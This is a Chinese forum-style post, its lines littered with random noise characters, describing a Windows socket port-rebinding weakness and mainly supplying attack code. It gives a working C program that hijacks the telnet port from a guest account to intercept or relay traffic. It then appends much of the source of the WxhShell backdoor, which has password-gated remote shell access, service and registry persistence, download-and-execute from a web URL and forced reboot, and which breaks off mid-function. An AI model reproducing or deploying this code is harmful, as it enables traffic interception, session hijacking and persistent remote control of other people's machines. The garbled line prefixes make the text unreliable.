在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
5b rM.. s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
aiX&` GImPPF saddr.sin_family = AF_INET;
^*l
dsc C2R"96M7q saddr.sin_addr.s_addr = htonl(INADDR_ANY);
>e!J(4.- dE8f?L' bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Kv*
1=HES #6c,_! 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
(KC08 fwt+$`n 这意味着什么?意味着可以进行如下的攻击:
?jMM@O`Nu 0Lj;t/mG 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
9)+!*(D @VP/kut 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
iWeUsS%zpV 5)f 'wVe 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
LNJKf6: x3Cn:F 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
8*8Y\" e/Z{{FP%6 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
vVtkB$]L WrwbLl E 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
mIf)=RW ;sA
5&a>! 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
4'D^>z!c c),UO^EqV #include
4}D&=0IZ #include
w;@v#<q6 #include
by9UwM=gp #include
g.Ur~5r DWORD WINAPI ClientThread(LPVOID lpParam);
G0:<#?<5 int main()
w@2NXcmw {
a`yCPnB( WORD wVersionRequested;
4;~xRg;u&* DWORD ret;
I;jH'._k# WSADATA wsaData;
0*]0#2Z BOOL val;
prO&"t
> SOCKADDR_IN saddr;
K
@&c SOCKADDR_IN scaddr;
VB/75xK_ int err;
~uY5~Qs9G SOCKET s;
U!+O+( SOCKET sc;
hFoeVM[h int caddsize;
0o 7o;eN HANDLE mt;
-U>)B
DWORD tid;
[i~@X2:Al wVersionRequested = MAKEWORD( 2, 2 );
Z-t qSw8n err = WSAStartup( wVersionRequested, &wsaData );
c)Q-yPMl) if ( err != 0 ) {
6$PQ$ printf("error!WSAStartup failed!\n");
=^M Q 4 return -1;
?_{{iil }
TQt[he$O saddr.sin_family = AF_INET;
9r\p4_V Se??E+aX //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
85"Szc-# |C./gdq saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
7h/Mkim$5 saddr.sin_port = htons(23);
|LIcq0Z if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
q ) 5s'( {
i|H^&$| printf("error!socket failed!\n");
ii`,cJl return -1;
2|!jst }
-;Mh|!yg val = TRUE;
W"/,<xHuh //SO_REUSEADDR选项就是可以实现端口重绑定的
}c9RDpjh~ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
}:?_/$}; {
D'g@B.fXd printf("error!setsockopt failed!\n");
lnl>!z return -1;
8}oe))b }
/3L4K //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
4UL"f<7 T //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
s#8}&2#l //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
ve/.q^JeJ 2bXCFv7} if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
}nM+"(} {
Wf:X)S7 ret=GetLastError();
"JF printf("error!bind failed!\n");
3 P\4K return -1;
sFfargl }
)MN 6\v listen(s,2);
qoQ,3&< while(1)
wMm+E "}W {
6a]Qg99\ caddsize = sizeof(scaddr);
Nsy>qa7 //接受连接请求
h/aG."U sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
G^P9_Sw]d3 if(sc!=INVALID_SOCKET)
:gkn`z {
rIv#YqT mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
F9_X^#%L if(mt==NULL)
Ka{QjW!%d< {
suX^"Io%! printf("Thread Creat Failed!\n");
[mUC7Kpi break;
*W}nw$tnBX }
JDpW7OrDc }
7'.6/U CloseHandle(mt);
#)DDQ?D }
ayf;'1 closesocket(s);
q|B.@Ng. WSACleanup();
?6[u\V return 0;
e oFM }
!M6Km(> DWORD WINAPI ClientThread(LPVOID lpParam)
yaC_r-%U& {
->'q SOCKET ss = (SOCKET)lpParam;
j}%C;;MPH SOCKET sc;
c@O7,y:`I unsigned char buf[4096];
O[}2 SOCKADDR_IN saddr;
>\Iy <M long num;
Em<J{`k6 DWORD val;
XC[AJ!q` DWORD ret;
BYI13jMH+Y //如果是隐藏端口应用的话,可以在此处加一些判断
A{eh$Ot% //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
zW95qxXg saddr.sin_family = AF_INET;
65c#he[_Y saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
f xD|_ saddr.sin_port = htons(23);
vf<Tq if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
AIQ]lQ( {
TY#pj printf("error!socket failed!\n");
qy!pD
R; return -1;
fJ-8$w\uL }
t2-bw6U val = 100;
Ga"<qmLMc if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
y5V]uQSD {
oH
[-fF ret = GetLastError();
g;nPF*( return -1;
lgCOp%> }
OB+I.qlHP if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
sgeME^ v {
rI]n4>k{ ret = GetLastError();
D7N` %A8 return -1;
"OKsl2e }
yc$8X sns if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
}'TZ)=t{J {
'$CJZ`nt printf("error!socket connect failed!\n");
{uO2m*JrI closesocket(sc);
:B_ itl0{e closesocket(ss);
'l'[U return -1;
aQfrDM<*XS }
""F'Nzy while(1)
X@7e7 {
1QDAfRx //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
( /_Z^m9 //如果是嗅探内容的话,可以再此处进行内容分析和记录
X?] 1/6rV //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
/aMeKM[L` num = recv(ss,buf,4096,0);
T CO^9RP< if(num>0)
"IsDL^)A9 send(sc,buf,num,0);
"(y| iS$^T else if(num==0)
A!5)$>!o break;
Z}6H529[ num = recv(sc,buf,4096,0);
)x&}{k6 % if(num>0)
e0u*\b send(ss,buf,num,0);
$30lNZK1m8 else if(num==0)
Y]1b39O break;
)e:u 6] }
uJHf6Ye closesocket(ss);
>RT02Ey> closesocket(sc);
R<-( return 0 ;
K5q9u-7 }
k*xgF[T
8 ?IV3"\5 bQ2 '*T ==========================================================
uYwJ[1C A&QO]8 下边附上一个代码,,WXhSHELL
(}n,Ou[ [VwoZX: ==========================================================
(%EhkTb IE9A _u* #include "stdafx.h"
xk5Z&z G8oOFBQD #include <stdio.h>
H@,(
#include <string.h>
U.QjB0; #include <windows.h>
KC{HX? #include <winsock2.h>
}<kpvd+ps= #include <winsvc.h>
m-No 8)2yA #include <urlmon.h>
7[W!Nx Rm!Iv&{ #pragma comment (lib, "Ws2_32.lib")
Li_ a|dI #pragma comment (lib, "urlmon.lib")
s|Acv4| V '|i<?]U #define MAX_USER 100 // 最大客户端连接数
ff9D{ $V5 #define BUF_SOCK 200 // sock buffer
'PrrP3lO_~ #define KEY_BUFF 255 // 输入 buffer
{wx!~K Y/_b~Ahn #define REBOOT 0 // 重启
IGd]! #define SHUTDOWN 1 // 关机
_(s|@UT# @{!c [{x,T #define DEF_PORT 5000 // 监听端口
>*%mJX/F E5G=Kh[NP #define REG_LEN 16 // 注册表键长度
\a8<DR\@O #define SVC_LEN 80 // NT服务名长度
Yl#r9TM EBN'u&zX // 从dll定义API
@9^ozgg typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
~vIQ-|8r: typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
(1(dL_? typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
3Vl?;~ :5 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
jn9KQe\3 iWZrZ5l // wxhshell配置信息
kMz^37IFMG struct WSCFG {
t)O$W int ws_port; // 监听端口
D
f H>UA char ws_passstr[REG_LEN]; // 口令
DLv\]\h}L int ws_autoins; // 安装标记, 1=yes 0=no
.W<yiB}^ char ws_regname[REG_LEN]; // 注册表键名
zviEk/:zm char ws_svcname[REG_LEN]; // 服务名
iIoeG_^*Y char ws_svcdisp[SVC_LEN]; // 服务显示名
4c*?9r@ char ws_svcdesc[SVC_LEN]; // 服务描述信息
195m0'zda char ws_passmsg[SVC_LEN]; // 密码输入提示信息
N%\!eHxy int ws_downexe; // 下载执行标记, 1=yes 0=no
2\M^_x$N char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
aoh"<I%]>4 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
uMToVk`Uv J
;=~QYn[ };
W7lR54%| /MB3w m // default Wxhshell configuration
O!(M:. struct WSCFG wscfg={DEF_PORT,
ee.#Vhz "xuhuanlingzhe",
!>{`o/dZ 1,
~4\J}Kn "Wxhshell",
|T}Q~ "Wxhshell",
Oozt&* F "WxhShell Service",
YULI
y-W "Wrsky Windows CmdShell Service",
CD'.bFO^+T "Please Input Your Password: ",
*eAsA(; 1,
~e5hfZv|w "
http://www.wrsky.com/wxhshell.exe",
$]eITyC`P "Wxhshell.exe"
x4PA~R };
Y9)uy 8c >M\3tB2C // 消息定义模块
E
{$Jk]c char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
90oG+T4 char *msg_ws_prompt="\n\r? for help\n\r#>";
>i %{5d char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
'Tni; char *msg_ws_ext="\n\rExit.";
m?]XNgT char *msg_ws_end="\n\rQuit.";
b Z0mK$B char *msg_ws_boot="\n\rReboot...";
p^~AbU'6~ char *msg_ws_poff="\n\rShutdown...";
@-9I<)Z/2 char *msg_ws_down="\n\rSave to ";
JgJ4RmH- 0HA` char *msg_ws_err="\n\rErr!";
r
wtU@xsD char *msg_ws_ok="\n\rOK!";
_H9.AI \YE(E04w57 char ExeFile[MAX_PATH];
&>zzR$#1 int nUser = 0;
K]{Y >w HANDLE handles[MAX_USER];
yF-EHNNf int OsIsNt;
WleE$ , Nv@SpV' SERVICE_STATUS serviceStatus;
]3xb Q1 SERVICE_STATUS_HANDLE hServiceStatusHandle;
(*>%^ C? x$o?ckyH // 函数声明
G=R`O1-3 int Install(void);
~ [k0ay int Uninstall(void);
88]V6Rm9[* int DownloadFile(char *sURL, SOCKET wsh);
M<R3Jz T int Boot(int flag);
_yi`relcq- void HideProc(void);
h\#\hx int GetOsVer(void);
Y[l*>}:w int Wxhshell(SOCKET wsl);
ztcV[{[g void TalkWithClient(void *cs);
Cku#[?G int CmdShell(SOCKET sock);
{k4)f ad\ int StartFromService(void);
/a}F;^ int StartWxhshell(LPSTR lpCmdLine);
e5/f%4YX w\o?p.drp= VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
)YE3n-~7{ VOID WINAPI NTServiceHandler( DWORD fdwControl );
P;7JK=~k q#RUL!WF7U // 数据结构和表定义
WC6yQSnY& SERVICE_TABLE_ENTRY DispatchTable[] =
Id6H~; {
F7!g+LPc< {wscfg.ws_svcname, NTServiceMain},
,Jm2|WKH {NULL, NULL}
jlvh'y` };
iI|mFc|V ]}t6V]`Q // 自我安装
$#VE C0 int Install(void)
.ME>ICA {
a<c]N:1 char svExeFile[MAX_PATH];
dux.Z9X? HKEY key;
cR'l\iv+ strcpy(svExeFile,ExeFile);
e
:(7$jo w;@NYMK) // 如果是win9x系统,修改注册表设为自启动
1>I4=mj if(!OsIsNt) {
]_!5g3VQh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
>|{n";n& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
e[<vVe! RegCloseKey(key);
B 2p/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
gD}lDK6N RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
.
V5Pr}"y RegCloseKey(key);
Q&j-a;L return 0;
z TYHwx }
%b8ig1 }
7+_TdDBYs }
}q<p;4<\F else {
N|JML `fTH"l1zn // 如果是NT以上系统,安装为系统服务
" Y%fk/v8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
'%Cc!63t* if (schSCManager!=0)
S#h-X(4 {
~
_ ogeD SC_HANDLE schService = CreateService
O+iNR9O (
''t\J^+& schSCManager,
bSa%?laS wscfg.ws_svcname,
_"_
21uB wscfg.ws_svcdisp,
%rE:5) SERVICE_ALL_ACCESS,
tuT>,BbR SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
|2<y SERVICE_AUTO_START,
3jSt&+ SERVICE_ERROR_NORMAL,
#`Af svExeFile,
yvIeK6 NULL,
srzlr-J NULL,
$('"0 @fg NULL,
/b&ka&|t
NULL,
Dj?84y NULL
b+=@;0p*6B );
!wbO:py[8> if (schService!=0)
s#Os?Q? {
s2Z'_rT CloseServiceHandle(schService);
C{{RU7iqc& CloseServiceHandle(schSCManager);
4S%s=vw strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
_3Kow{y\ strcat(svExeFile,wscfg.ws_svcname);
qQ&=Z`p! if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
6d7E@}< RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
58[=.rzD RegCloseKey(key);
.rPg return 0;
xUW\P$ }
k)j6rU }
={'3j CloseServiceHandle(schSCManager);
-!@]z2uU }
p!oO}gE }
a/wg%cWG_ .(J~:U return 1;
PHAM(iC&D }
Dj9v9 D02'P{ // 自我卸载
h(~@
nd{ int Uninstall(void)
wH?]kV8Q {
SEKR`2Zz, HKEY key;
LZ=E NqlU? if(!OsIsNt) {
_xWX/1DY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
PF+ F^;C RegDeleteValue(key,wscfg.ws_regname);
4h*c{do RegCloseKey(key);
%LM2CgH
V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
|*fi!nvk@ RegDeleteValue(key,wscfg.ws_regname);
H*.v*ro9_ RegCloseKey(key);
K#%@4]jO3 return 0;
C.|.0^5 }
=67ab_V }
5'<J@3B }
:$=]*54`T else {
K' ?`'7 _^Z
v[P SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
W{$J)iQ if (schSCManager!=0)
iFOa9!_0n {
awU!3)B SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
a
S;z
YD if (schService!=0)
PIHix{YR {
<)$e*HrI if(DeleteService(schService)!=0) {
>rhqhmh;W" CloseServiceHandle(schService);
~0@uR CloseServiceHandle(schSCManager);
$x/VO\Z{- return 0;
A3Xfu$[u }
<B
Vx% CloseServiceHandle(schService);
:R'={0Jg }
n-he|u CloseServiceHandle(schSCManager);
j'uzjs[ }
Cl8S_Bz }
o$p]
p9 og?L 9 return 1;
*b4W+E }
Z!+n/ D-1 5_\1f|, // 从指定url下载文件
%ONU0xtq k int DownloadFile(char *sURL, SOCKET wsh)
J4]tT pu"K {
!59,<N1Iu HRESULT hr;
Q<Q?#v7NX char seps[]= "/";
0 wjL=]X1e char *token;
eemC;JV % char *file;
mIe 5{.m# char myURL[MAX_PATH];
dDbH+kqO char myFILE[MAX_PATH];
**CGkL 03n+kh strcpy(myURL,sURL);
\ nUJ)w token=strtok(myURL,seps);
>:bXw#w] while(token!=NULL)
TV Zf@U {
+<T361eyY file=token;
<CcSChCg token=strtok(NULL,seps);
hRQw] }
$ghlrV;:ct b:PzqMh{G GetCurrentDirectory(MAX_PATH,myFILE);
Bun^EJ) strcat(myFILE, "\\");
e>UU/Ks strcat(myFILE, file);
~}_S]^br send(wsh,myFILE,strlen(myFILE),0);
ctoh&5%!n+ send(wsh,"...",3,0);
Ub{7 Xk
n hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Y1;jRIOA if(hr==S_OK)
{(IHHA> return 0;
D4T42L else
mhMTn*9 return 1;
Doe:m#aNj ~bqw !rz }
+3k.xP?QS k5|GN Y6a // 系统电源模块
{t*CSI int Boot(int flag)
$3S`A]xO {
{Ia1Wd 8n HANDLE hToken;
G b4p"3 TOKEN_PRIVILEGES tkp;
J'%W_?wZ z:8ieJ)C if(OsIsNt) {
x21XzGLY|} OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
GMY[Gd LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
<Zo{D |hW tkp.PrivilegeCount = 1;
n0FzDQt26 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
><C9PS@ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
,*sKr)9) if(flag==REBOOT) {
RNopx3 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
;*{Ls# return 0;
?^ R"a## }
`[&%fTW+ else {
Z kBWVZb if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
50dx[v8 return 0;
pQxv_4 }
Ml,in49
}
+Mb}70^ else {
jItVAmC=i if(flag==REBOOT) {
;D<;pW if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
5S ) N&% return 0;
zCS&